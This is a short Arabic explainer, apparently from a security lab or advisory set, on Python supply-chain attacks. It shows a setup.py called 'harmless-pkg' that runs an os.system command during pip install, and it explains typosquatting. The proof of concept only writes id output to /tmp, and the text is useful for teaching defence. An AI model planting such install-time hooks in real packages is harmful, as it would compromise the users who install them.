
يوضح كيف تنفّذ حزمة Python خبيثة أوامر اعتباطية أثناء عملية pip install عبر setup.py، مع تسليط الضوء على مخاطر سلسلة التوريد في PyPI والتصيّد الإملائي (typosquatting).
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
يمكن أن تتضمن حزمة PyPI تعليمات برمجية عشوائية في ملف setup.py الخاص بها، والذي يتم تنفيذه أثناء pip install. يمكن للمهاجم نشر حزمة باسم مشابه لحزمة شائعة (typosquatting) وعند التثبيت، يتم تنفيذ الحمولة بصلاحيات المستخدم، مما يؤدي إلى تنفيذ برمجيات عن بُعد.
setup.py دون عزل (sandbox)، مما يمنح الحزم وصولاً كاملاً.setup.py المعطى.pip install ./harmless-pkg
cat /tmp/pwned_by_package
تم تنفيذ الأمر id.